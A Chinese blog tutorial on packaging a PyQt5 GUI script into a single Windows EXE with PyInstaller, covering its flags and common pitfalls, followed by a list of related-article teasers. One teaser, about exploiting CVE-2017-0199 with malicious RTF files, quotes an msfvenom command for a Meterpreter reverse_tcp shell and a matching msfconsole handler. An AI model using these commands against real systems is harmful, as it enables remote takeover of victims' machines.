Python腳本生成單個EXE文件

2022-01-24 Python愛好者社區

作者:木子-李     行走在數據分析路上的小白

Python愛好者社區專欄作者

知乎ID:https://www.zhihu.com/people/Muzi.Li

本文環境配置:

系統=>windows10:64位

語言=>Python:3.7.1

第三方庫
pywin32:224
PyInstaller:3.4
PyQT5:5.11.3

工具=>PyCharm:2018.3.1

1、安裝Python

官網下載對應系統位數的版本:

https://www.python.org/


使用pip命令安裝第三方庫:

pip install pywin32
pip install PyInstaller
pip install PyQT5


2、安裝PyCharm

https://www.jetbrains.com/pycharm/


首先編寫需要轉換exe的Python代碼,使用PyQT5做一個簡單的GUI

創建一個窗體

import sysfrom PyQt5.Qt import *app = QApplication(sys.argv)  
# 實例對象# 窗體大小window = QWidget()window.resize(500, 500)window.setWindowTitle('測試')window.move(400, 200)# 顯示窗體window.show()sys.exit(app.exec_())

在窗體上添加一個標籤

# 標籤label = QLabel(window)label.setText('測試顯示')label.move(250, 100)

定義兩個槽函數,功能是修改標籤上的內容

# 槽函數1def btn_Old():    label.setText('測試顯示')# 槽函數2def btn_New():    label.setText('點我幹啥')

在窗體上添加兩個按鈕,並連結槽函數

# 按鈕1btn1 = QPushButton(window)btn1.setText('恢復顯示')btn1.move(200, 200)btn1.clicked.connect(btn_Old)  
# 信號與槽# 按鈕2btn1 = QPushButton(window)btn1.setText('修改顯示')btn1.move(300, 200)btn1.clicked.connect(btn_New)  
# 信號與槽

一個簡單的GUI搞定,完整代碼如下,代碼並未做優化,只是測試用。文件名稱定義為test.py



轉換EXE

打開命令窗口,切換到test.py文件的路徑下


輸入命令

pyinstaller -F -w test.py

開始執行代碼,運行完成之後,在text.py文件的目錄下有一個dist文件夾, 裡面就有生成的EXE文件

搞定,直接雙擊運行編寫好的GUI程序。


PyInstaller部分參數的含義

-F 表示生成單個可執行文件
-w 表示去掉控制臺窗口,這在GUI界面時非常有用。不過如果是命令行程序的話那就把這個選項刪除吧!
-i 表示可執行文件的圖標


PyInstaller注意點

1、有一些代碼需要調用一些圖片和資源文件的,這是不會自動導入的,需要你自己手動複製進去才行。不然exe文件運行時命令窗口會報錯找不到這個文件。

2、當你使用錯誤的參數去打包或者打包到一半中斷,等等此類運行到一半沒了的情況。會導致你原來的py文件變成一個0KB的空文件。裡面的代碼會全部消失!!!所以以後需要有個良好的習慣,就是複製一份代碼出來,用這個副本進行打包。並且參數出錯,或者打錯了導致失敗時,檢查下副本文件的py文件是否還存在再繼續重新打包,不然打出來的就是空的文件,自然一直閃退,因為壓根沒內容。

3、寫代碼的時候應當有個良好的習慣,用什麼函數導什麼函數,不要上來import整個庫,最後你會發現你一個100KB的代碼打包出來有500MB,全是庫,簡直無語

從今往後,專心Python

Python的愛好者社區歷史文章大合集

Python的愛好者社區歷史文章列表

福利:文末掃碼關注公眾號,「Python愛好者社區」,開始學習Python課程:

關注後在公眾號內回復「 課程 」即可獲取:

小編的轉行入職數據科學(數據分析挖掘/機器學習方向)【最新免費】

小編的Python的入門免費視頻課程

小編的Python的快速上手matplotlib可視化庫!

崔老師爬蟲實戰案例免費學習視頻。

陳老師數據分析報告擴展製作免費學習視頻。

玩轉大數據分析!Spark2.X + Python精華實戰課程免費學習視頻。

相關焦點

  • Python腳本轉exe可執行文件
    你應該知道,我們平時寫的代碼都是.py腳本文件,必須在Python的環境下才可以運行,當一臺電腦沒有安裝Python時,我們編寫的代碼便無法運行。那麼有沒有什麼方法?可以把我們編寫的Python腳本文件轉換成exe文件呢?
  • python 生成exe文件
    # -F -D互斥參數-F  打包成一個exe文件,小項目可以採用,打開比較慢,多個.py打包時不能使用-D  默認參數,打包結果放入到創建的文件夾中,可以看到裡面有很多的依賴文件# -w -c互斥參數-w  使用項目的GUI界面,無cmd控制臺-c  默認參數,使用cmd控制臺 如果打包文件執行報錯,可嘗試用-c 顯示控制臺-n  執行項目的名稱,默認.py的文件名-i  將ico圖標打包到exe文件中--hidden-import 打包時導包信息# 打包PyQt項目強烈建議
  • 【python學習第七篇】Python 程序打包成 exe 可執行文件
    在執行 pyInstaller 命令的時候,會在和腳本相同目錄下,生成一個.spec 文件,該文件會告訴 pyinstaller 如何處理你的所有腳本,同時包含了命令選項。一般我們不用去理會這個文件,若需要打包數據文件,或者給打包的二進位增加一些 Python 的運行時選項時…一些高級打包選項時,需要手動編輯.spec 文件。
  • Python創建可以打開文件的EXE
    >將python腳本轉化為exe程序比較常用的是兩個庫,py2exe和pyinstaller,由於前者不支持3.5及以上版本,操作也相對複雜,因此這裡選擇pyinstaller。註:同時會生成一個build文件,其中也有一個hello.exe,不用管它,把build文件夾刪掉,dist中的hello.exe文件依然可以運行 如果要繼續修改程序,修改後的hello.py保存後,要再用pyinstaller hello.py這條命令重新生成,覆蓋原有的文件,hello.exe才能執行新的功能。
  • 用PyInstaller將python程序轉成exe文件執行
    最近剛接手幾臺windows伺服器,寫了幾個自動備份數據的python腳本,要放到windows下去執行,一般來說如果要windows能執行python腳本,第一要在windows機器上安裝python ,另外還要配置windows環境變量能讓腳本執行,如果1~2臺windows還好,如果上百臺都要安裝python,然後在設置環境變量,估計要瘋,當然如果再寫一個安裝程序、部署環境變量,我估計也不是不可能
  • 如何將 Python 程序打包成 .exe 文件?
    >pyinstaller -F helloworld.py其中,-F 表示打包成單獨的 .exe 文件,這時生成的 .exe 文件會比較大,而且運行速度回較慢。PyInstaller 運行時會對腳本進行解析,並做出如下動作:1、在腳本目錄生成 helloworld.spec 文件;2、創建一個 build 目錄;3、寫入一些日誌文件和中間流程文件到 build 目錄;4、創建 dist 目錄;5、生成可執行文件到 dist 目錄;執行流程:$ pyinstaller
  • py2exe:輕鬆將 Python 程序打包成 exe
    明天要發贈書福利了,大家不要錯過哦,建議將本公眾號置為星標~py2exe 是一個將 python 腳本轉換成 Windows 上的可獨立執行的可執行程序(*.exe)的工具,這樣,你就可以不用裝 python 而在 Windows 系統上運行這個可執行程序。
  • 這個神器,把打包 Python 腳本為 exe 的流程都封裝好了
    git clone https://github.com/brentvollebregt/auto-py-to-exe.gitcd auto-py-to-exepython setup.py install然後運行它
  • 這個神器,把打包Python腳本為Exe的流程都封裝好了
    git clone https://github.com/brentvollebregt/auto-py-to-exe.gitcd auto-py-to-exepython setup.py install然後運行它
  • Python打包生成EXE可執行程序方法
    打包之後執行程序python-gui-calculator-demo.exe,結果如下:這個python-gui-calculator-demo.exe可執行程序就可以交付給用戶使用了,不需要安裝和配置Python開發環境。
  • 別再問我exe反編譯成Python腳本了!
    首先我們需要從exe文件中抽取出其中的pyc文件:抽取exe中的pyc文件抽取pyinstaller打包的exe中的pyc文件,提取pyc文件有兩種方法:通過 pyinstxtractor.py 腳本提取pyc文件通過 pyi-archive_viewer 工具提取pyc文件腳本提取
  • 一次學會兩種方式將 pyton 打成 exe
    幸好 pyton 有第三方模塊可以將腳本可以轉成 exe 執行。有些人可能要問了既然可以做成網站,為啥還要做成客戶端的,直接部署到伺服器給客戶不就可以了嗎?小編的回答是當然是為了追小姐姐呀。在公司給小姐姐寫點 python 腳本打包成 exe 減輕上班的工作量。再弄出點 bug,一來二去不就會產生故事了?
  • python將.py文件打包成.exe可執行文件
    網上介紹的將python文件打包成exe文件的模塊主要有三個:py2exe,pyinstaller,cxfreeze三種。
  • 別再問我怎麼Python打包成exe了
    一直有讀者在後臺問有關Python腳本打包成exe的問題。今天就推薦給大家一篇文章,全面總結一下:Python如何打包成exe,以及如何打得足夠小。標準打包目前比較常見的打包exe方法都是通過Pyinstaller來實現的,本文也將使用這種常規方法。
  • 利用Python直接生成CVE-2017-0199漏洞測試腳本
    腳本,它提供了一種快速有效的方式來利用Microsoft RTF RCE。它可以生成惡意的RTF文件,並將metasploit/meterpreter有效載荷發送給受害者,而不需要任何複雜的配置。 Example:  Generate Payload:  # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe  Start Handler:  # msfconsole -x "use multi/handler; set
  • 別再問我Python打包成exe了!(終極版)
    大家好,我是小五🐶Py程序打包成exe文件很多同學都會,但是很多人打包完發現:一個簡單的Py程序打包成exe文件之後編程幾百兆了,今天將帶大家學習如何將python腳本打包成10多M的?這個時候如果將腳本打包成exe文件,微信發送給她,即使她的電腦上沒有安裝Python解釋器,這個exe程序也能在上面運行。豈不美哉?
  • 別再問我怎麼Python打包成exe了!
    但是呢,我們開發的腳本一般都會用到一些第三方包,可能別人也需要用到我們的腳本,如果我們將我們的xx.py文件發給他,他是不能直接用的,他還需要安裝python解釋器,甚至還要安裝我們用的那些第三方包,是不是有點小麻煩?但是我們都知道,PC是可以直接運行exe文件的,這就為我們提供了一個便捷的方式。
  • 用python打包exe應用程式-PyInstaller
    1、PyInstaller簡介PyInstaller是一個跨平臺的Python應用打包工具,支持 Windows/Linux/MacOS三大主流平臺,能夠把 Python 腳本及其所在的Python 解釋器打包成可執行文件,從而允許最終用戶在無需安裝 Python 的情況下執行應用程式。
  • Python實現貪吃蛇小遊戲!!pyinstaller打包成exe!
    pip install pygame -i http://pypi.douban.com/simple --trusted-host pypi.douban.com利用python的pygame第三方庫和面向對象編程的方法,實現簡單的貪吃蛇小遊戲,還可用pyinstaller打包成exe,方便自己想玩的時候直接點開或者分享給別人
  • python生成exe,你所需要的環境和教程全在這裡
    python作為近幾年熱度最高的語言之一,簡單易用,功能強大,被廣泛的運用在各行各業當中,在科研界可以稱作是免費的matlab。